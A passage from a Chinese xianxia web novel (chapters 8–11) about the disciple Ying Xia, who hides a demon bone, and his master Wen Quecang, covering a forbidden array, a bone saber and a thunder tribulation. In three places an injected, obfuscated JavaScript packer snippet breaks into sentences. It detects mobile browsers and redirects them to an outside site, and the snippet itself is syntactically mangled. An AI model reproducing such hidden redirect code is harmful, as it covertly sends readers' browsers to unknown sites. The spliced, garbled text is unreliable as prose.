温却沧忍不住伸手摸了摸应夏的发顶,轻叹一声:“倒是没想到,你竟有如此……” 应夏骄矜的微抬下颚,似乎是在等待夸奖。 “你竟有如此联想,真是想象力丰富。” 应夏:“……” 他气得手直接握上了剑柄,却没拔出剑来,温却沧的一只手抵住了剑柄,他便动弹不得。 温却沧觉得自从收了这个徒弟后,自己叹气的概率就上升不少。 他道:“我知道你想套我的话,可我不会告诉你是对还是错,你想猜就随便猜。” “真没意思。”应夏撇撇嘴。 他松开剑柄,又突然握住了温却沧想收回的手,笑着说:“师父,你既然不想让我猜,那便用别的事情,吸引下我的注意力呗?” 这时,二人的距离有些近,温却沧能看见那双清澈鹿眸里倒映着自己。 “比如什么?”温却沧放轻了声音,似诱哄一般。 应夏松开手,隐晦地摸了摸自己的小指骨节,道:“比如天下第一刀法之类的?” 温却沧又伸手揉乱了他的头发,看着那双不满的眼睛,温声道:“哪有那么多天下第一?有本我师父拂叶道君留下的心法,练不练?” “……练!” 8. 第 8 章 应夏又来到了那片火海,朱雀依旧站在那片唯一的净土上。 朱雀说:“真是稀奇,你竟然会自己进来。” 应夏走到他面前,道:“自然是有事想问你,你知不知道转灵阵?” 温却沧不想告诉他,那他就自己查。 “转灵阵?”朱雀皱起了眉,“这是修仙界禁阵之一,明令禁止修仙者学习或布置此阵,若是被抓到可直接废其修为,令其不得继续修仙。” 应夏惊讶:“这么严重?” 朱雀解释道:“这个阵法原来是没有的,自从修仙界再无人能够飞升,修仙者研究出此阵法,用来掠夺灵气,一时间竟被许多人滥用,导致灵气危机严重。” “直到有一天,修仙界各大门派联合佛宗一起将转灵阵全部毁灭,并将其列为禁阵之一,这种情况才逐渐好转,但转灵阵已滥用,灵气逐渐变得稀少已成事实。” 说到这里,朱雀长叹了一声,继续道:“如今修仙界灵气早已不如从前,魔气滋生,民不聊生,又生出怨气养出魔来,恶性循环……” 应夏颇为嫌弃地说:“都是自作自受。” 朱雀无奈又认同地点点头,问道:“怎么?你发现有人用转灵阵了?” 应夏并不藏着掖着,直接将泉明镇转灵阵一事告诉了朱雀。 “原来如此,你是怀疑玄衍宗内有人在使用转灵阵?” “对,但他不告诉我详情,不过也没什么,我能自己查。”应夏似笑非笑道,很容易从他那双澄澈鹿眸中看出不甘心。 朱雀有些奇怪:“你是魔,怎么会管这件事?对魔来说,难道不是灵气越少越好么?” 应夏转身与朱雀并肩而站,望向那片永不灭的火海,说:“还记得我上次对你说,天地孕育出万物生灵么,灵气与魔气虽然是此消彼长的状态,但同样都是天地的孩子。” “两个孩子之间的打闹父母是不会管的,但如果一个孩子被其他人欺负,做父母的肯定会不高兴。” 朱雀看着那名少年,内心极为震撼,沉默了良久,才问:“可是,修仙者也算万物生灵的一种。” 应夏呵笑了一声,摇摇头道:“灵气与魔气,就如天地初分时的清气与浊气,是同源,而修仙者不是。” 他又转头对上朱雀的眼睛,说:“这个世界上可以没有修仙者,这么说,你明白吗?” 朱雀怔住了,他张了张口却没有说出话来。 直到应夏移开视线,朱雀才缓过神来,身为一门长老的他,竟然震惊到有些结巴:“那……那你、你是……” 应夏摸了摸他的左手小指骨节,说:“这是我出生后,慢慢想明白的,也就是你早就死了我才和你说这些。” 朱雀:“……” 应夏以为他担心自己的复仇进展,道:“放心,我一定会为你报仇,只是我现在太弱了,得先修炼变强。” 朱雀内心苦涩,一点都笑不出来。他又不是担心这个,而且他知道了这事后,觉得复仇似乎也不是那么要紧了……反正大家迟早都得完蛋。 应夏揭过这茬,问道:“对了,你感觉得出来我身上有魔骨吗?” 闻言,朱雀凝神上下查看,然后摇摇头:“我没察觉出来,你身上一丝魔气也没有。” 应夏高兴地笑了笑,将左手伸了出来,用另一只手捏住左手小指的一节骨头,说:“我藏在这里了。” 朱雀惊讶:“你是怎么……” “很简单,我将原来的骨头用魔骨替换掉而已,你那节肋骨太短小,也就小指合适了,别介意啊。”应夏解释道。 朱雀一噎:“……”重点是这个? 应夏摸着那节指骨,“魔骨比魔气更容易令修仙者察觉,之前放在你的幻境中,如今要带出幻境且不被其他人察觉,我的身上有功德金光遮掩,自然是最好的容器。” 他用右手化出一丝魔气,左手小指便轻微动了动,“这魔骨对魔气极为敏感。” 说着,左手也化出魔气,但左手的魔气与右手纯黑色的魔气不同,沾染着几分杂色,而且更为暴虐攻击性较强,在应夏手里不太安分。 应夏将两团魔气放在一起,明明看起来更无攻击性的先天魔气,却很快将后天魔气吞噬殆尽,让自身的体积增加了微不可查的一点。 “所以我不喜欢后天魔气……”应夏嘟囔着。 怨气而生的后天魔气混沌杂质多,就算吃了它过滤杂质后也只剩一点点,费力不讨好,但若不主动出击,后天魔气也会反过来污染先天魔气,这可不是应夏想看到的。 朱雀却有些惊喜道:“竟是能将这魔气净化?” “净化?”应夏撇撇嘴,“魔气哪来净化一说,不过是大鱼吃小鱼,化为养料罢了,而且这养料还不够塞牙缝,难吃得很。” 应夏面上止不住的嫌弃,将魔气化去后,还甩了甩左手。 朱雀看着面前的少年,突然意识到,功德金光降落在他身上是有原因的,就如这片火海中有唯一的净土。 可是少年目前对修仙者都是负面情绪,令朱雀忍不住担忧。 “我之前故意用左手碰了温却沧的手,他没反应,看来这魔骨藏得确实好,也不必担心被其他修为高的人发现了。” 应夏说完发现朱雀没反应,还伸手在他眼前挥了挥,道:“诶,我还要去练那什么拂叶心法。先走了,下次再来看你。” 等朱雀回过神来,只看到应夏出幻境的一个背影,他这才想起刚才应夏说了什么。 风吹过带起一片簌簌声,朱雀想起了那片破他幻境的绿叶,又垂头看了眼脚下绿意盎然的土地,轻轻舒了一口气。 - 行过拜师礼后,温却沧扔给他一本拂叶心法让他自己修炼,说是若有什么不懂的可以去找他。 但应夏从未找过温却沧,他背下那篇心法后就开始自己修炼,硬是在两天之内就筑基了,只不过温却沧知道后一脸果然如此,令他不太满意。 应夏瞪着他,理所当然地问道:“我都筑基了,我的刀还没炼好?你是不是在偷懒?” 哪有徒弟这么跟师父说话的?可温却沧不在意,他知道少年会这么问,便道:“天下第一的刀,哪有炼得这么快?” 这个回答勉强让应夏满意,他矜贵地点点头。 温却沧想了想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736108|157322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,伸出手,应夏似早有防备抬手想挡开,谁知竟是被他直接握住了。 应夏皱着眉道:“放手。” 他握住的刚好是左手,因为应夏右手拿着剑。 然后,温却沧不知从哪里掏出一枚戒指套在了他的小指上,应夏神色微动,却老实下来,看着那枚细小的银环,没有说话。 “你不想让别人发现,就好好带着。”温却沧修长的手指捏着那枚小小的指环,说道。 明明他捏的是戒指,指尖未曾触碰到他的小指,应夏却觉得小指的指根都发烫,像是能透过那枚银戒传递温度似的。 应夏仿佛才惊醒一般,忽然将手抽出,背在身后,说:“知道了。”想了想,又轻声补了一句:“师父。” 温却沧看了看似乎是示弱般垂头的少年,这回是真的伸手摸了应夏的脑袋,蓬松柔软的发丝触感令他弯起唇角。 那双看谁都好似深情的桃花眼,看着少年有些别扭的秾丽面容,含笑拿出一块早就备好的玉佩,亲手挂在了应夏的腰带上。 他道:“凡玄衍宗弟子皆佩玉,亲传弟子的玉不同,昨日才雕刻出来,你带着想去玄衍宗各处都可,宗门内阵法禁制识玉认人。” 应夏低头看那玉,确实能感受到玉中蕴含着强大的灵力,可这灵力似乎与那日李雨诗的不同。 温却沧看出他的疑惑,主动解释道:“玉内是我的灵力。” 应夏撩起那块玉佩,仔细查看,上面雕着简朴的纹路颇为素雅,还坠着黑白相间的流苏,他又看了看温却沧腰间挂着的玉佩,样式并不一样,便宜师父的那块玉佩雕刻手法略显粗糙了些。 “不会这块玉也是你自己雕刻的吧?” 温却沧点点头,还说:“我的玉佩也是我师父亲手雕刻的。” 应夏摩挲着玉佩上的纹路,虽简单,但明显看得出线条流畅,对比温却沧自己那块已是不错,露出一个勉强满意的表情。 他又看到小指上带着的银环,二者触碰发出轻响,似有灵力共鸣,引得小指微颤了颤,这是魔骨在畏惧。 温却沧主动提起:“泉明镇上转灵阵一事已找到布阵人,是玉衡长老的内门弟子,已被压至刑堂,此事便了。” “哦,知道了。”应夏非常随意地应了一声,似乎并没有想多问几句的样子。 温却沧原本准备的话没能说出口,看着应夏低头钻研银戒和玉佩的模样,不由无奈笑开。 有时候明明知道他想做什么,可你就是没办法,只能纵着人。 温却沧又伸手摸了摸他的头,温声嘱咐道:“玄衍宗内有藏书阁,有空可多去那里看看书。结善堂的事,我也就不多说了,本月快过去,下个月开始,你得去领委托,别忘记了。” 应夏瞪了他一眼:“知道了师父,你还是快去炼我的刀吧!” “不急,你不是拿着我的剑么?这几天用下来如何?要不要学几个剑招?”温却沧笑着问他,话里透着明晃晃的引诱。 应夏也朝他笑道:“剑使着不顺手,再用下去,怕哪天不小心折了……师父你可别怪我呀。” 温却沧无奈:“……好吧,我尽快。” 9. 第 9 章 刑堂是玄衍宗内一座矗立在正北方的大殿,进入刑堂大门后还要走几里才能走到正殿,正殿是审判之处,有不少面无表情的执法弟子看守着。 执法弟子的衣服也与一般弟子的白色不同,是以玄色作为主色,更为肃穆。 应夏不敢贸然闯入,隐匿身形绕着刑堂外围查探了一圈,竟是没找到半点可直接进入的方法,只有灵气可以随意进出。 他靠在刑堂外一棵大树下,望着大门上挂着的匾额,字迹都显凶煞的“刑堂”,确实不太好偷偷进入。 应夏原本是想去偷听一下转灵阵的进展,谁知到了刑堂门口却没有办法进去,难道就这样放弃吗? 当然不可能!人既然进不去,那其他东西总有能进去的,就如泉明镇时那样。 应夏伸手展开手心,几片绿叶安静地躺着,他将金色灵气注入这几片绿叶,很快,那几片绿叶就如有了灵智一般,在他的掌心里飘荡起来。 轻轻向前一送,绿叶便随风而起,慢悠悠地向刑堂飘去,裹着功德金光的绿叶并没有引起刑堂阵法的注意,十分顺利的穿过了保护罩,混杂在其他落叶里,同样没有被执法弟子们发现。 绿叶飘飘忽忽地飞着,直到应夏从某处感知到一个强烈的情绪,但因为那人的修为太低了,又有什么东西阻挡,无法准确听到清晰语句。 不过这个时间点,以及那个情绪感知,应该只有转灵阵一事了,应夏便引着叶子落在了那间屋子的窗沿上。 仔细感知后,他果然没猜错,正是在审讯那个布置转灵阵的弟子。只不过这里设了阵法,无法听到里面的说话声,但应夏早就有准备。 绿叶上散发出点点金光,融入了阵法中,这下便可以听见了。 “不想吃苦头,就都招了,大家都是同门,别闹得太难看。”说话的人应该是执法弟子。 “你当我不知道布转灵阵的结果么?既然说与不说都一样,那我为什么要说?”这人就是玉衡长老的弟子吧,被揭穿并抓到刑堂里,已是破罐子破摔的状态了。 不过,执法弟子显然有别的办法,很快传来几声痛呼。 “啊——!你们、你们这是用私刑!我……快点杀了我吧,反正、反正……” “不要再浪费时间了,你不说我就继续。” 这回没有再传来痛苦的呐喊,反而是窗沿震荡了一下,绿叶也被震起又慢慢落下。 “别……我说、我说。” “早这样不结了?说吧,除了你还有谁也使用了转灵阵?” “呵呵呵呵,谁?你们也用了吧?明明大家都在用,只是我倒霉被发现罢了,咳咳咳……” 应夏皱了眉,难怪温却沧不想让他掺和,看来这事并不简单。 “苦头还没吃够?还在这里胡言乱语,污蔑他人!除了你,根本没有人使用转灵阵,别再胡乱攀扯!”执法弟子厉声呵斥。 那人却只笑没再开口说话了。 接下来再也没有什么实质性的信息,应夏便先回去了,只是让绿叶一直躺在那里,监听着屋内一举一动。 直到那天晚上,应夏通过绿叶得知了那人自戕的消息,线索就这么断了。 - 等温却沧把刀锻好,已是五日后。 应夏刚开始没注意到温却沧,专心蹲在雪地上画着咒文,大雪落了满身都顾及不上。 他的指尖溢出纯粹金光,在白皑皑的雪上画出咒文。 温却沧看着那咒文皱起了眉,他从未见过应夏写的这几个咒文。 实际上咒文基础字形只有十种,但这十个咒文字可以有上亿种排列组合方式。咒文字并没有实际的含义,即便有同样的字形出现在不同的符咒上,其所代表的含义并不能统一。 应夏一度为此发愁,他找不到规律,只能按照书籍上记载的排列字施展符咒,可他不太喜欢。 索性他不再纠结于这十种基础字形,咒文字的力量来源于描绘的文字笔画,应夏便自己根据基础字形创造了新的咒文字出来,将灵气凝聚于笔画中。 也得亏他有功德金光,竟真是被他弄出新的咒文字出来,只是效果不怎么样,威力比一般的咒文小了很多。 应夏有了猜测,或许一开始咒文便不限字形,只是后来发现这十种字形写出来的效果最好,便定为基础字形,后续的组合排列都以这十种为准。 不过排列的规律他还没找到。 “还是太弱了,怎么提升力量呢?是灵气输入不够还是……”应夏自言自语着,一边迅速画了个简短的咒文将自己身上的雪都清理干净。 温却沧出声问道:“怎么不用净尘诀?” 闻言,应夏立即答道:“用咒文比用净尘诀消耗的灵气更少,效率也翻倍。” 不过很少有人会这么做,因为画咒需要集中注意力,但普通的法诀不需要。应夏是个例外,他可以像使用法诀一样,更方便快捷地画咒,再加上功德金光,效果更明显。 说完,应夏才意识到温却沧站在他身边,喊了一声师父。 温却沧:“你对符咒感兴趣?” 应夏扫了眼雪地上印着的金色文字,说:“准确来说,是对咒文。符只是咒文的载体,真正的力量来源于咒文字。” “只是我还没找到规律。”他扯了下嘴角,鹿眸中闪着光芒,“不过,我一定会找到的。” 温却沧笑着摸了摸他的头发,道:“你在咒文方面是有天赋的,我也曾试过其他字形,但没有成功,十种基础字形是最有效率应用灵力的,不过今天看你新创的咒文,我有了新的想法。” “什么?” “你可以尝试仿照基础字形,或者拆解笔画重构字形。” 应夏眼睛亮了亮,他有思路了,准备再次蹲下身时,却被温却沧一把拉住。 “先不必着急,你的刀我锻好了,看看?” “好!” 温却沧手一翻,一柄红刃骨刀横在应夏眼前,刀刃长二尺柄长六寸,骨刀并未开刃,应夏却能感觉到其上的锋利。 那刀似有热意,雪花还未落在骨刀上便遇热而化,水滴顺着骨刀上的纹路滑落,有些则被浅浅盈在两侧的花纹中,随着温却沧的动作从刀尖滑落。 “接着。” 温却沧轻轻一抛,应夏伸手握住刀柄,这才察觉到这骨刀竟无比炙热! 握上去的那一刻似有熟悉的鸟啼在耳边响起,骨刀剧烈颤动着,散发出更强的热量,像是要把他灼伤一般。 应夏毫不畏惧,始终用力握着,将自身魔气裹着功德金光一起注入骨刀,它这才缓缓平息下来,服帖地被应夏握在手中。 这便是认主了。 应夏轻轻一挥刀,空气似乎都被热意扭曲,一声轻微的刀鸣如鸟啼,竟是将那一块区域的大雪都斩停了一瞬,而那被刀气溅射的一块积雪瞬间融化成水。 “好刀!”应夏兴奋地摸了摸刀上的花纹,这才发现那纹路是一只朱雀在火海中振翅而飞。 温却沧见应夏的视线根本无法离开这骨刀,笑道:“如何?为师没有辜负你的期待吧?” 应夏抬头看他,眼神清透澄亮,那笑意恍若搅动了星辰,“谢谢师父!我很喜欢!” “这骨刀特殊,暂时未找到合适的材料为其打造一把刀鞘。” 应夏对这刀爱不释手,并不在意有没有刀鞘,“师父没关系,我已经很满足了,刀鞘的事情可以以后再说,我先去练刀!” 这几天在藏书阁中,除了学习了符咒及咒文之外,更是将能找到的刀法招式书籍都翻了一遍,几处要诀都牢记于心,就差实战试一试了,应夏有些迫不及待了! 温却沧看着他那兴奋得一闪一闪的鹿眸,嘴角含着止不住的笑意,他扣住少年的手腕,道:“你还没把剑还给我。” 在他挣开前便松了手,留了一丝温度在手腕上,寒冷的雪风又很快带走那丝温暖,让应夏略感怪异,不过,拿到刀的兴奋感很快就压了过去。 “差点就忘记了。”应夏取下腰间的剑,扔给温却沧,眯着眼睛笑道,“谢谢师父借我的剑!” 他心情格外得好,便比平时更乖巧一些,连温却沧摸他的头顶都没有拒绝,反而向他露出一个甜甜的微笑。 明明大雪纷飞,视线中一片银装素裹,却有一张明艳动人的面容带着不可抗拒的笑意,如春水如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736109|157322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏风,令人在这片素白中看到了绚烂的色彩。 温却沧落在应夏脑袋上的手顿了顿,他轻轻眨了下眼睛,那刻的璀璨便深深印在漾着温柔的桃花眼中。 很快,应夏便握着刀跑开了。这几天都泡在藏书阁中,除了研究符咒和咒文外,他还将能找到的所有剑法招式都学习了一遍,就差实战了,他早已迫不及待! 温却沧看着应夏在雪中的背影,垂眸看了眼手腕上一小块被灼伤的痕迹,那是锻刀时不小心被骨刀烫伤。 骨刀不是凡物,被灼伤的痕迹不易愈合。原本他还想在徒弟面前卖卖惨,可刚刚看到应夏那么欣喜的模样,倒不忍心说出口了。 温却沧的视线穿过静静下着的大雪,落在应夏挥舞各种刀法的身影上时,带了些温度,他轻弯了唇角,将衣袖拉了下来遮住那个伤口。 “师父,你过来跟我对上几招如何?” 应夏挥刀时,他周身的雪都不下了,像是惧骨刀上的热意似的,他满意极了。余光瞥见自家师父还站在那簇大雪中时,忍不住喊出声。 闻言,温却沧抬头对上他的清澈眼眸,笑意更盛:“来了。” 应夏收敛起笑意,紧握手中刀,不等他拔剑便挥刀劈砍过去,刀意瞬间化成犹如实质的滚烫火焰冲向温却沧。 温却沧不紧不慢地侧身躲过,拔剑挡住了应夏藏在刀意后的攻势,夸赞道:“力道不错。” 应夏哼了一声,干脆利落地使出了几招书籍上看来的招式,并没有用上灵力,只是普通刀法。 温却沧也陪着应夏练刀,一边打一边指导,“这里手腕用力”“稍微抬高一点”“对,就是这样”。 直到应夏把学会的招式都用尽了才停下来。 “师父,下面我就要用上灵气了。” 应夏后退几步,握着刀柄的地方溢出无数金线,深入红色骨刀中,金线顺着花纹缠绕在刀上,令那刀看起来红金混杂,耀眼极了。 温却沧的桃花眼微眯,他感觉到那骨刀上的炙热逐渐散去,取而代之的是一股巨大的能量,被功德金光强化过的刀,跟之前的感觉完全不一样,他谨慎起来。 应夏没有使那些花里胡哨的刀法,而是简简单单用力朝温却沧劈下一刀,他看见骨刀周围的空气被撕裂,风雪被这一刀斩开,与温却沧的剑相击时迸发出一股强烈的气劲,衣袍猎猎。 收刀后,温却沧问道:“这是……” 应夏点点头,眼中难掩得意:“这是仿照你那一剑挥的刀,这回效果差不多。” “剑与刀还是不一样的。” “我知道,所以我只取其势,并未学其形。” 温却沧忍不住赞叹:“真聪明。” “也不瞧瞧我是谁。”应夏笑了下,微振刀将水滴甩去,道,“而且,师父你不会刀法,我学习你的剑势也是一样。” 温却沧收剑回鞘,从袖中乾坤中取出两本书籍交给他,道:“我虽对刀法研究未深,但你师祖留下了两本刀法,《拂叶刀》和《清绝刀》,你可以看看。” 应夏接过快速翻了两页,眼睛一亮,“倒是比藏书阁中的刀法有意思多了!” 说起这个,温却沧又解下他的玉佩,挂在了应夏身上,与他那块并在一起,道:“你的权限应该只够去藏书阁下三层,我这块可以去中三层,你拿着,中三层的书籍大多需要金丹后才可修炼,但若是招式你也可以先看看。” “怎么突然要给我玉佩?”应夏有些奇怪。 温却沧道:“我要闭关几日,若有麻烦找你,这玉佩也可护你周全。” 应夏瞪大了眼睛:“你要突破了?!” 温却沧笑着颔首。 应夏皱着眉说:“我也会加快修炼速度的!” 温却沧好笑地摸摸他的脑袋,“这有什么好比的,你先踏踏实实打好基础,别冒进求成,于修仙不利。” 应夏还想说什么,却突然抓住了他的手腕。 “好好,我不摸了。”温却沧抽手,应夏也顺势收了手。 直到温却沧开始闭关,才偶然注意到手腕上原本的烫伤痕迹不见了。 他指尖轻点那处,轻轻笑开。 10. 第 10 章 温却沧出关那天,风和日丽,他刚回听雪峰,迎面便飞来一簇烈焰。 步伐微顿,唇角弯起,抬手衣袖一挥,那火焰便随之而散,成为点点光粉归于天地。 还没等温却沧见到熟悉的人,眼前风雪骤然加剧,遮挡了视线,一点寒芒贴着雪花袭来。 “这么热情?” 温却沧站在原地一动不动,剑未出鞘却发出了清脆鸣声,雪花触及时便听到一声鸟啼。剑鸣与鸟啼同时响起,一股猛烈气劲斩开风雪划开去。 “自然是要恭迎师父出关!”应夏握着他那把血红骨刀,风雪都不敢落在身畔,“正好,师父试试我这一个月来的修炼如何。” 并非问句,应夏说完便举刀顺劈,金色的灵气比刚拿到这刀时更为浓郁锋利。温却沧眼神一凛,拔剑挡下了那一刀。 挡下后,他便看到了少年艳丽的笑容,以及铺天盖地的刀势,风雪都顺着那刀势斜劈而来,势要将他斩碎! 温却沧却蓦然一笑,道:“好!” 他手腕一转,一股旋风从脚底蹿升扩大,听雪峰上的树木颤抖着枝丫,松柏抖落积雪,那风似的一剑便破了万钧刀势,不伤一毫草木。 只一瞬,听雪峰又归于平静。 应夏轻啧一声,低头看着手中的红骨刀,回想着温却沧刚刚那轻巧一剑,没有注意到人已经走到了身前。 他抬头望入那双深邃含情的桃花眼,觉得温却沧周身的灵气确实有些不一样了,可是…… “我已经筑基半月,也将拂叶刀和清绝刀都练会,刚才那一刀便是成果。”应夏收了刀毫不客气地问,“怎么师父闭关了一月还未突破?” 温却沧拂去落在应夏身上的雪,熟悉的无奈涌上心头,道:“就是因为要突破了才出关的。” 他伸出手指轻弹了一下桀骜少年的额头,没想到那片白皙的肌肤这么容易就被弹出个红印,微愣了一下,又轻触消去红印揉了揉。 应夏捂着额头后退几步,瞪着温却沧不说话。 温却沧道了声抱歉后解释道:“金丹后突破都要渡雷劫,而这渡雷劫总得出关后再渡。” 闻言,应夏明显怔了一下,随后紧皱起眉头:“雷劫?” 温却沧注意到他神色有些不自然,只以为是第一次知道有些畏惧,便温声解释道:“你不用害怕,只要你不擅自闯入渡劫区域,雷劫便不会劈你。你要记住,切莫擅闯他人雷劫,雷劫对外来者可是不讲情面的。” 应夏抿着唇道:“知道了,你何时渡雷劫?” “明日。今日出关便是早做准备,也告知你一声。”温却沧往前走了几步,顺利摸到了应夏柔软的发丝,“你也不必担忧我,为师对突破雷劫可是有十成把握的。” 应夏轻哼一声:“谁会担心你?” 他担心的是雷劫会不会影响到自己,他在这世间不怕任何东西,唯一怕的便是雷劫。雷劫的精纯之力可劈碎先天魔气,那是实打实的劈碎,连残渣都不剩的那种。 应夏传承记忆中有关雷劫的东西,都是非常不好的,不仅是魔气畏惧雷劫,世间万物都畏惧雷劫,那是一种十分恐怖的力量。 想到这里,应夏脑海中突然闪过一个东西,但他还没来得及抓住,便被打断。 “好了好了,知道你不担心我。”温却沧抓住他的手,将他带回了茅草屋里,“别站在外面吹风了,屋子里更暖和。” - 翌日,应夏坐在窗户边,支着一只手撑住脸颊,望着外面乌云堆集的天空,蹙着眉。 温却沧的雷劫来了,若是成功,玄衍宗门口那两个小道童怕是又有吹嘘的素材了,那可是二十多岁的化神期,修仙界独一无二的天才! 应夏看着那逐渐聚集的雷云,只觉得心悸得厉害,呼吸不畅很闷,他抿着唇非常不喜欢雷劫。 体内的魔气不安地躁动着,催促着他赶紧离开,可是应夏不甘示弱,他身上开始慢慢浮现功德金光,这是唯一能让他感觉好一点的办法。 首先看到的是黑沉的云朵里忽闪忽现的雷电,很快那闷闷的轰鸣声传来,应夏另一只手紧握着红刃骨刀,身上的金光微微颤动着。 清澈的眼眸印着阴沉天地间唯一一抹亮色,温却沧执剑踏空,即便隔得很远,应夏也能看得分明,那张俊逸的脸上是毫不畏惧的笑容。 “轰——”雷劫来了! 一道极粗的电光划破天际,带着雷霆之势冲向浮空的人影,应夏呼吸一滞,他看到自家便宜师父挥剑了,没有灵气涌动也没有剑气飞舞,只是普通一剑,就将那道劫雷从中劈开! 应夏皱眉,倒是有些怀疑这雷劫的威力,可就在下一瞬,被劈开成两截的劫雷落在了空谷中,砸出两股强烈的爆炸和气劲,他才反应过来。 未有停歇,下一道劫雷来得更快更猛,应夏在温却沧布的保护阵中,都能非常清晰的感受到雷劫给阵法带来的冲击,那是他的刀挡不下来的,恐怕只是开头一道便能将他绞碎。 每落下一道雷劫,应夏的脸色就白一分,直到落下九道雷劫后,他撑不住了,咬牙压下对天敌恐怖气势的畏惧,坐在床上缩起腿抱紧自己。 身上的金光越来越亮,像是也在帮助应夏一起压制这本能的恐惧,可是效果微乎其微,因为那是印在他识海中的恐惧。 似乎是进入幻境一般,窗外轰鸣的雷声令他觉得体内的每一块骨头都仿佛承受着千钧重压,冷汗爬满了额头。 就连应夏自己都有些不敢相信,他竟然对雷劫如此恐惧,那是一种刻在传承记忆中的痛苦。雷劫每响一声,应夏就像是被其劈碎一次,他甚至都有些握不住骨刀,任凭它掉落在床榻上…… 直到雷劫结束,应夏都没有缓过神来。他紧闭着双眼缩在床脚,整个人湿汗淋漓,那张原本红润的唇瓣都尽失血色。 温却沧刚一进屋寻人,便瞧见这副景象,他迅速将应夏拥入怀中,都没顾得上用法诀,衣襟被汗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736110|157322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水浸湿。 他似乎对现下的状况有些无措,只能温柔拥抱着双眼紧闭身体颤抖的少年,渡过去不少精纯灵力,并温声轻哄道:“别怕,我在这里,别怕、别怕……” 温却沧抱着应夏,一边轻拍着他的脊背,耐心又温柔地安抚着。 良久,应夏才从那种痛楚中清醒过来,他推开温却沧,嗓子略有嘶哑,道:“师父,答应我一件事。” “好,我答应。”温却沧将他黏在前额的湿透的发丝拨开,“师父在这里,别怕。” 应夏握住温却沧的手腕,眼神有些锐利,他问:“你闭关这几天我去查了,为什么那人非要用转灵阵……” 闻言,温却沧轻拍他背的手微顿。 应夏攥着他手腕的手指有些颤抖,继续说:“那个玉衡长老,他对自己门下的弟子极为严苛,即便成为了内门弟子,也会半月一考核修炼进度,若是不合格就会被踢出至外门。我想就是因为这个,他才会……” 温却沧这时候才想起使用净尘诀,将二人都彻底清理了干净。 他握住应夏仍有些颤抖的手指,轻轻拉开却没有松手,就这么拢在手心里,纯黑的眼眸沉沉,道:“即便被雷劫吓成这样,也要问我这事?” 应夏撇过脸没有看他,抽了抽手没抽出来,只好说:“我只是想知道真相。” “你说的便是真相了。”温却沧叹了口气,道,“确实如你所言,不仅玉衡长老门下,还有另两位长老也是,已抓出不少弟子。” “可是又不能责怪长老,对不对?” “是。”温却沧伸手将他紧皱的眉心揉开,道,“别想了,这件事到此为止,三位长老也在掌门面前悔过,并保证以后不会再如此严苛逼迫弟子。” 应夏平复着呼吸,但他觉得没有那么简单,可温却沧不再回答。他只好捡起掉落在床上的红骨刀,将它别在自己的腰间。 温却沧换了个话题,问:“有些人确实十分畏惧雷劫,不过怕成你这样的,我还是第一次见,你可是对雷劫有过什么阴影?” 应夏从床上下来,与温却沧挪开些距离,他身上残留的雷劫气息让他不太舒服。 等到挪到一株灵植旁边,呼吸了几口新鲜空气,才仿佛真正活过来。 应夏想到便宜师父说的问题,思考了一会儿,道:“大概是……以前被雷劈过?” 温却沧:“……” 温却沧坐在床上,看着少年挺拔的背影,道:“金丹后都需要渡突破雷劫,那你……” 应夏转过身,已完全看不出刚才的恐惧神色,他露出一个笑来,眸光熠熠,道:“只要变得足够强,世上也就不会再有令我畏惧的东西。” 少年那明亮的眸子,似星火,无法掩盖。 温却沧缓缓地笑了,那双桃花眼里藏着翻涌的浪潮,却始终印着一抹艳色身影,“乖徒儿说得对。” 应夏轻哼一声,嘴上却嫌弃道:“别叫的这么肉麻。” 11. 第 11 章 温却沧突破至化神期的消息,很快随着那雷劫的散去而传遍整个玄衍宗。 不少弟子会前往听雪峰祝贺小师叔成功渡劫,也会顺便瞧瞧那位十世大善人转世的少年,更有胆大的会提出与之切磋。 应夏自然不会拒绝这些白来的陪练,但他很少出刀,因为同为筑基期的弟子都接不住他炽烈的一刀,后来他便用咒文迎战,还能锻炼画咒文的速度与精准度。 穆槐序已经是第六次向他发出挑战了。 照理来说,后面与他切磋的人会越来越少,应夏也不会与打败过很多次的人再战,可是这一人,他记住了名字,也允许他多次对战。 因为这人出招是真狠,也不藏拙,招招皆杀招,前几次赢他都是险些。 而且他也是唯一一个让自己出刀的筑基期弟子。 应夏看着风雪中那个穿着外门弟子服饰的瘦削少年,少有地寒暄了一句:“今天来得早。” 穆槐序愣了一下,然后紧握住有些锈迹的匕首,极为不习惯地应了声:“嗯。” 应夏突然不想像以往一样,一见面就开打了,他走到穆槐序面前,见他神态紧绷摆出了防备姿势,不由笑道:“别紧张,我们先聊聊。” 穆槐序似乎觉得有些奇怪,稍微放松了姿势,但没松开那把匕首。 